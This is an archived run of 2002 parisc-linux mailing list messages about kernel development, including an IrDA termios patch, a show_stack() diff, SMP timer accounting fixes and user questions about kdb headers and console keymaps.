List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15337


hello,

Im writing on a floppy driver for my 712 and want to use kdb,

but when i try to compile the kernel with it, i get errors:

kdb/break.h: No such file or directory
kdb/kgdb_types.h: No such file or directory
kdb/kgdb_machine.h: No such file or directory
kdb/trap.h: No such file or directory

does anybody know where i can get this files ?.

bye
     sven






From - Thu Nov 08 21:23:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Patch to enable IrDA :-)
Date: Sun, 07 Jul 2002 00:33:49 -0600
Lines: 73
Approved: news@gmane.org
Message-ID: <20020707063349.DAB344850@dsl2.external.hp.com>
References: <E172iDN-0000pm-00@the-village.bc.nu>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621471 10017 80.91.229.3 (22 Nov 2014 01:57:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:51 +0000 (UTC)
Cc: jochen@scram.de (Jochen Friedrich),
	parisc-linux@lists.parisc-linux.org (HP900 PARISC mailing list)
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jul  7 00:33:49 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id DAB344850; Sun,  7 Jul 2002 00:33:49 -0600 (MDT)
In-Reply-To: Message from Alan Cox <alan@lxorguk.ukuu.org.uk> 
   of "Wed, 01 May 2002 01:43:25 BST." <E172iDN-0000pm-00@the-village.bc.nu> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15338

Alan Cox wrote:
> With these ifdefs for ARM and parisc maybe
> 
> 	arg = IRDA_MODEM_BITS;
> 
> and sticking tha tin the header would be good ?

A few monthes later...here's a patch that does this for i386 and parisc.
Should I commit this to the parisc-linux CVS?

(also available as ftp://ftp.parisc-linux.org/patches/diff.irtty_bits)

grant


Index: drivers/net/irda/irtty.c
===================================================================
RCS file: /var/cvs/linux/drivers/net/irda/irtty.c,v
retrieving revision 1.8
diff -u -p -r1.8 irtty.c
--- drivers/net/irda/irtty.c	2001/11/09 23:36:06	1.8
+++ drivers/net/irda/irtty.c	2002/07/07 06:30:36
@@ -760,14 +760,11 @@ static int irtty_set_dtr_rts(struct net_
 	struct irtty_cb *self;
 	struct tty_struct *tty;
 	mm_segment_t fs;
-	int arg = 0;
+	int arg = TIOCM_MODEM_BITS;
 
 	self = (struct irtty_cb *) dev->priv;
 	tty = self->tty;
 
-#ifdef TIOCM_OUT2 /* Not defined for ARM */
-	arg = TIOCM_OUT2;
-#endif
 	if (rts)
 		arg |= TIOCM_RTS;
 	if (dtr)
Index: include/asm-i386/termios.h
===================================================================
RCS file: /var/cvs/linux/include/asm-i386/termios.h,v
retrieving revision 1.3
diff -u -p -r1.3 termios.h
--- include/asm-i386/termios.h	2001/07/05 21:38:41	1.3
+++ include/asm-i386/termios.h	2002/07/07 06:30:36
@@ -37,6 +37,8 @@ struct termio {
 #define TIOCM_OUT2	0x4000
 #define TIOCM_LOOP	0x8000
 
+#define TIOCM_MODEM_BITS       TIOCM_OUT2      /* IRDA support */
+
 /* ioctl (fd, TIOCSERGETLSR, &result) where result may be as below */
 
 /* line disciplines */
Index: include/asm-parisc/termios.h
===================================================================
RCS file: /var/cvs/linux/include/asm-parisc/termios.h,v
retrieving revision 1.6
diff -u -p -r1.6 termios.h
--- include/asm-parisc/termios.h	2001/07/11 17:20:32	1.6
+++ include/asm-parisc/termios.h	2002/07/07 06:30:36
@@ -37,6 +37,9 @@ struct termio {
 #define TIOCM_OUT2	0x4000
 #define TIOCM_LOOP	0x8000
 
+/* IRDA support - PA-RISC uses OUT1 as hardware flow control bit. */
+#define TIOCM_MODEM_BITS        (TIOCM_OUT2 | TIOCM_OUT1)
+
 /* ioctl (fd, TIOCSERGETLSR, &result) where result may be as below */
 
 /* line disciplines */



From - Thu Nov 08 21:23:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] show_stack() rewrite
Date: Sun,  7 Jul 2002 00:42:47 -0600 (MDT)
Lines: 59
Approved: news@gmane.org
Message-ID: <20020707064247.2263C4870@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621471 10019 80.91.229.3 (22 Nov 2014 01:57:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:51 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jul  7 00:42:47 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 2263C4870; Sun,  7 Jul 2002 00:42:47 -0600 (MDT)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15339

Hi all,

Based on questions from Carlos, I've rewritten (but not tested)
the show_stack() function that dumps stack and registers.
Since, I'd really like to focus on sba_iommu, tg3, and eventually
cpqfc, could someone else review and/or test this?

Basically, I've ditched all the non-functional Interrupt Stack support
that was confusing most of us. Sorry, jsm, I don't know how to make
the interrupt stack work though I agree it's a good feature.

diff is also available from
	ftp://ftp.parisc-linux.org/patches/diff.show_stack

thanks,
grant

Index: arch/parisc/kernel/traps.c
===================================================================
RCS file: /var/cvs/linux/arch/parisc/kernel/traps.c,v
retrieving revision 1.63
diff -u -p -r1.63 traps.c
--- arch/parisc/kernel/traps.c	2002/04/13 22:12:27	1.63
+++ arch/parisc/kernel/traps.c	2002/07/07 06:29:09
@@ -146,56 +146,17 @@ static void dump_stack(unsigned long fro
 
 void show_stack(struct pt_regs *regs)
 {
-#if 1
 	/* If regs->sr[7] == 0, we are on a kernel stack */
 	if (regs->sr[7] == 0) {
-
 		unsigned long sp = regs->gr[30];
-		unsigned long cr30;
-		unsigned long cr31;
-		unsigned long stack_start;
-		struct pt_regs *int_regs;
-
-		cr30 = mfctl(30);
-		cr31 = mfctl(31);
-		stack_start = sp & ~(ISTACK_SIZE - 1);
-		if (stack_start == cr31) {
-		    /*
-		     * We are on the interrupt stack, get the stack
-		     * pointer from the first pt_regs structure on
-		     * the interrupt stack, so we can dump the task
-		     * stack first.
-		     */
-
-		    int_regs = (struct pt_regs *)cr31;
-		    sp = int_regs->gr[30];
-		    stack_start = sp & ~(INIT_TASK_SIZE - 1);
-		    if (stack_start != cr30) {
-			printk(KERN_CRIT "WARNING! Interrupt-Stack pointer and cr30 do not correspond!\n");
-			printk(KERN_CRIT "Dumping virtual address stack instead\n");
-			dump_stack((unsigned long)__va(stack_start), (unsigned long)__va(sp), 0);
-		    } else {
-			dump_stack(stack_start, sp, 0);
-		    };

From - Thu Nov 08 21:23:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryo Murakawa <FZZ01471@nifty.ne.jp>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] How to change the keymap from jp106 to us101
Date: Sun, 07 Jul 2002 22:43:52 +0900
Lines: 21
Approved: news@gmane.org
Message-ID: <3D284598.8070507@nifty.ne.jp>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-2022-JP
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621471 10023 80.91.229.3 (22 Nov 2014 01:57:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:51 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jul  7 07:46:12 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp2.nifty.ne.jp (smtp2.nifty.ne.jp [202.219.63.54])
	by dsl2.external.hp.com (Postfix) with ESMTP id 556F2482C
	for <parisc-linux@lists.parisc-linux.org>; Sun,  7 Jul 2002 07:46:11 -0600 (MDT)
Original-Received: from nifty.ne.jp (actkyo026067.adsl.ppp.infoweb.ne.jp [218.217.59.67])
	by smtp2.nifty.ne.jp (8.9.3+3.2W/3.7W-991025) with ESMTP id WAA17851
	for <parisc-linux@lists.parisc-linux.org>; Sun, 7 Jul 2002 22:46:09 +0900 (JST)
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020610
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15340

Hi, My name is Ryo.
I have first time to post here.

I have used paris-linux for 6 months on C200.
Today I got the us101 keyboard. And I changed my c200's keyboard.
I could use us101 keymap on X because I knew how to change the file
called XF86Config-4. But I can not use us101 keymap on console.
When I installed parisc-linux in C200, I had read the instruction about
kbdconfig command. But I can not find this. Now I want to change the
keymap on console. Please tell me how to change
my machine's keymap.



Sincerly yours.

-------
Ryo Murakawa.




From - Thu Nov 08 21:23:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] How to change the keymap from jp106 to us101
Date: Sun, 7 Jul 2002 17:14:55 +0200
Lines: 37
Approved: news@gmane.org
Message-ID: <20020707151455.GA28234@lug-owl.de>
References: <3D284598.8070507@nifty.ne.jp>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="huq684BweRXVnRxX"
X-Trace: ger.gmane.org 1416621472 10024 80.91.229.3 (22 Nov 2014 01:57:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:52 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Ryo Murakawa <FZZ01471@nifty.ne.jp>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jul  7 09:14:57 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dvmwest.gt.owl.de (dvmwest.gt.owl.de [62.52.24.140])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5444C484A
	for <parisc-linux@lists.parisc-linux.org>; Sun,  7 Jul 2002 09:14:57 -0600 (MDT)
Original-Received: by dvmwest.gt.owl.de (Postfix, from userid 1001)
	id D3F4813380; Sun,  7 Jul 2002 17:14:55 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <3D284598.8070507@nifty.ne.jp>
User-Agent: Mutt/1.4i
X-Operating-System: Linux mail 2.4.18 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15341

--huq684BweRXVnRxX
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Sun, 2002-07-07 22:43:52 +0900, Ryo Murakawa <FZZ01471@nifty.ne.jp>
wrote in message <3D284598.8070507@nifty.ne.jp>:

> When I installed parisc-linux in C200, I had read the instruction about
> kbdconfig command. But I can not find this. Now I want to change the
> keymap on console. Please tell me how to change
> my machine's keymap.

dpkg-reconfigure console-common

MfG, JBG

--=20
Jan-Benedict Glaw   .   jbglaw@lug-owl.de   .   +49-172-7608481
	 -- New APT-Proxy written in shell script --
	   http://lug-owl.de/~jbglaw/software/ap2/

--huq684BweRXVnRxX
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.7 (GNU/Linux)

iD8DBQE9KFrvHb1edYOZ4bsRAo43AJ47nCE+eaWp/h9yQx+1AJPo6o1JGQCeOGZP
ULIXGFcB34Wu7ujYRHoEwPs=
=+KWL
-----END PGP SIGNATURE-----

--huq684BweRXVnRxX--



From - Thu Nov 08 21:23:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [parisc-linux-cvs] linux rhirst
Date: Sun, 7 Jul 2002 18:56:23 +0200
Lines: 16
Approved: news@gmane.org
Message-ID: <20020707165623.GA15497@charite.de>
References: <20020706222240.BFA2F484F@dsl2.external.hp.com> <20020706212752.GH971@sleepie.demon.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621472 10026 80.91.229.3 (22 Nov 2014 01:57:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:52 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jul  7 10:56:24 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hauptpostamt.charite.de (hauptpostamt.charite.de [193.175.66.220])
	by dsl2.external.hp.com (Postfix) with ESMTP id 702A3486C
	for <parisc-linux@lists.parisc-linux.org>; Sun,  7 Jul 2002 10:56:24 -0600 (MDT)
Original-Received: from postamt1.charite.de (postamt1.charite.de [193.175.66.246])
	by hauptpostamt.charite.de (Postfix) with ESMTP
	id 2E01E15C1C9; Sun,  7 Jul 2002 18:56:23 +0200 (CEST)
Original-Received: by postamt1.charite.de (Postfix, from userid 7945)
	id 12941633B3; Sun,  7 Jul 2002 18:56:23 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <20020706212752.GH971@sleepie.demon.co.uk>
User-Agent: Mutt/1.4i
X-message-flag: Outlook? Viral infections & bugs for the foreseeable future
X-Virus-Scanned: by AMaViS snapshot-20020531
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15342

On Sat, Jul 06, 2002 at 10:27:52PM +0100, Richard Hirst wrote:
> On Sat, Jul 06, 2002 at 04:22:40PM -0600, Richard Hirst wrote:
> > Make power switch work on 712 again

I'll give it a spin.

-- 
Ralf Hildebrandt (Im Auftrag des Referat V A)   Ralf.Hildebrandt@charite.de
Charite Campus Virchow-Klinikum                 Tel.  +49 (0)30-450 570-155
Referat V A - Kommunikationsnetze -             Fax.  +49 (0)30-450 570-916
Ich habe manchmal den Eindruck, dass ein Telefon wesentlich komplizierter
zu bedienen ist als beispielsweise der ed(1). Vergleich doch einfach mal
"man ed" mit der Gebrauchsanleitung fuer ein modernes Telefon.




From - Thu Nov 08 21:23:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] smp kernels at 100% system 0% idle
Date: Sun, 07 Jul 2002 12:28:03 -0600
Lines: 32
Approved: news@gmane.org
Message-ID: <20020707182803.22807482E@dsl2.external.hp.com>
References: <20020706171223.GF971@sleepie.demon.co.uk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621472 10030 80.91.229.3 (22 Nov 2014 01:57:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:52 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jul  7 12:28:03 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 22807482E; Sun,  7 Jul 2002 12:28:03 -0600 (MDT)
In-Reply-To: Message from Richard Hirst <rhirst@linuxcare.com> 
   of "Sat, 06 Jul 2002 18:12:23 BST." <20020706171223.GF971@sleepie.demon.co.uk> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15343

Richard Hirst wrote:
> This appears to be due to local_irq_count(cpu) always being 2 when
> update_process_times() is called.  Looks like we call irq_enter() twice,
> once in do_irq() and again in smp_do_timer().  Maybe we can just remove
> the irq_enter/exit calls from smp_do_timer()?

Followup:
  -pa50 has the extra irq_enter/exit calls removed and "top" now seems
  to report reasonable values for user/system/idle!

My A500-44 (Dual CPU, CONFIG_SMP=y) has been building kernels
in a loop all night.

The only quirk was eth0 (tulip) dropped out around 7:21 AM (PST) today.
I didn't see anything related in dmesg output and here is the
"ifconfig" output:
eth0      Link encap:Ethernet  HWaddr 00:30:6E:03:79:9F  
          BROADCAST MULTICAST  MTU:1500  Metric:1
          RX packets:109069 errors:1 dropped:0 overruns:0 frame:0
          TX packets:109273 errors:3 dropped:0 overruns:0 carrier:3
          collisions:0 txqueuelen:100 
          RX bytes:7325550 (6.9 MiB)  TX bytes:29846310 (28.4 MiB)
          Interrupt:128 

Anyway, I ifconfig'd the interface again, logged in again, and restarted
the clean/oldconfig/dep/vmlinux/modules loop again. (uses -j4 on
the last three steps). It's running happily again now.

thanks again Richard!
grant



From - Thu Nov 08 21:23:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [parisc-linux-cvs] linux rhirst
Date: Sun, 7 Jul 2002 21:09:12 +0200
Lines: 18
Approved: news@gmane.org
Message-ID: <20020707190912.GA23671@charite.de>
References: <20020706222240.BFA2F484F@dsl2.external.hp.com> <20020706212752.GH971@sleepie.demon.co.uk> <20020707165623.GA15497@charite.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621473 10036 80.91.229.3 (22 Nov 2014 01:57:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:53 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jul  7 13:09:14 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hauptpostamt.charite.de (hauptpostamt.charite.de [193.175.66.220])
	by dsl2.external.hp.com (Postfix) with ESMTP id CE1FE4832
	for <parisc-linux@lists.parisc-linux.org>; Sun,  7 Jul 2002 13:09:13 -0600 (MDT)
Original-Received: from postamt1.charite.de (postamt1.charite.de [193.175.66.246])
	by hauptpostamt.charite.de (Postfix) with ESMTP id 95CB315C202
	for <parisc-linux@lists.parisc-linux.org>; Sun,  7 Jul 2002 21:09:12 +0200 (CEST)
Original-Received: by postamt1.charite.de (Postfix, from userid 7945)
	id 895F7633B3; Sun,  7 Jul 2002 21:09:12 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <20020707165623.GA15497@charite.de>
User-Agent: Mutt/1.4i
X-message-flag: Outlook? Viral infections & bugs for the foreseeable future
X-Virus-Scanned: by AMaViS snapshot-20020531
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15344

Am 07.07.2002 um 18:56:23 +0200 schrieb Ralf Hildebrandt folgendes:
> On Sat, Jul 06, 2002 at 10:27:52PM +0100, Richard Hirst wrote:
> > On Sat, Jul 06, 2002 at 04:22:40PM -0600, Richard Hirst wrote:
> > > Make power switch work on 712 again
> 
> I'll give it a spin.

Works.

-- 
Ralf Hildebrandt (Im Auftrag des Referat V A)   Ralf.Hildebrandt@charite.de
Charite Campus Virchow-Klinikum                 Tel.  +49 (0)30-450 570-155
Referat V A - Kommunikationsnetze -             Fax.  +49 (0)30-450 570-916
There are no viruses. 
It's antibodies against people too stupid to survive on the Internet.




From - Thu Nov 08 21:23:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Stephan Trajkoff" <stephan@itp.bg>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 9000/819/K210
Date: Sun, 7 Jul 2002 23:12:51 +0300
Lines: 10
Approved: news@gmane.org
Message-ID: <20020707201151.6C150482F@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621473 10040 80.91.229.3 (22 Nov 2014 01:57:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:53 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jul  7 14:11:52 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ns.itp.bg (itp.solo.bg [212.72.196.10])
	by dsl2.external.hp.com (Postfix) with SMTP id 6C150482F
	for <parisc-linux@lists.parisc-linux.org>; Sun,  7 Jul 2002 14:11:51 -0600 (MDT)
Original-Received: (qmail 21609 invoked from network); 7 Jul 2002 20:12:52 -0000
Original-Received: from softdnserror (HELO www.itp.bg) (httpd@212.72.204.1)
  by softdnserror with SMTP; 7 Jul 2002 20:12:51 -0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15345

Hello,
anybody has PDF with specification of this server?
Is there any PCI ot EISA slots???
I can't compile kernel stable...

-->> FREE Perl CGI scripts add WEB ACCESS to your
-->> POP E-Mail accounts! Download today!! http://www.adjeweb.com




From - Thu Nov 08 21:23:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kdb include files
Date: Sun, 7 Jul 2002 20:11:47 -0400
Lines: 37
Approved: news@gmane.org
